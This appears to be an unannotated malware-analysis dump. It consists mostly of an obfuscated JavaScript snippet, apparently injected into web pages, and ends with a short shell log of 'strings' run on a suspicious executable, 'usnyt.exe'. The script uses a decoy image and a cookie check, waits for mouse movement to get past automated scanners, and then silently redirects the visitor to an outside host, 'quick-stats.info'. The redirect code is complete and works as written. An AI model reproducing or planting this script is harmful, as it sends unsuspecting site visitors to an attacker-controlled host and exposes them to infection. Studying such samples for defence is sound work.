[HaBo]

document.write('<img src="/xMZa.jpg" id="pbZGANeQnn">');

function OAL0eP (name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}


function xaG1QkU(name) {
var cookie = " " + document.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if (cookie.length > 0) 
{
offset = cookie.indexOf(search);
if (offset != -1) 
{
offset += search.length;
end = cookie.indexOf(";", offset)
if (end == -1) 
{
end = cookie.length;
}
setStr = unescape(cookie.substring(offset, end));
}
}
return(setStr);
}

function hQxFm9(obj, evType, fn){
    if (obj.addEventListener){
        obj.addEventListener(evType, fn, false); 
        return true; 
    }
    else{
        if (obj.attachEvent){
            var r = obj.attachEvent("on"+evType, fn); 
            return r; 
        }
        else {
            return false; 
        }
	}
}

function svQUbrOEV6()
{
OAL0eP("cjvyFuRXH1","ubGNzzDhK2");
}

function NbflM7()
{
svAUMxooc4 = svAUMxooc4+1;
if (svAUMxooc4 >= 13 && svAUMxooc4 < 957673)
{
ctXMAJIvJO3();
}
}

function vdfvfv(){
	      var url="http://quick-stats.info/january/03";
		  var gif = document.createElement('A');
          gif.href = url;
	      document.body.appendChild(gif);
          var e=gif;
	      if (e.click) e.click();
              else if (e.onclick) e.onclick();
                    else if (e.href) location.href=e.href; 
    }

function ctXMAJIvJO3()
{
var RBSdm5 = xaG1QkU("cjvyFuRXH1");
if (RBSdm5 == "ubGNzzDhK2" && rumYduWGi8.width > 7 && rumYduWGi8.height > 5)
{
svAUMxooc4 = 957674;
vdfvfv();
}
}


var svAUMxooc4 = -3;
rumYduWGi8 = document.getElementById("pbZGANeQnn");
hQxFm9(rumYduWGi8, 'error', svQUbrOEV6);
hQxFm9(document.body, 'mousemove', NbflM7);
hQxFm9(window, 'mousemove', NbflM7);

kerberos:/data/share# strings usnyt.exe | grep Create
CreateProcessA
CreateFileW
CreateEventW
HeapCreate
CreateFileA
kerberos:/data/share# strings usnyt.exe | grep Load
LoadResource
LoadLibraryA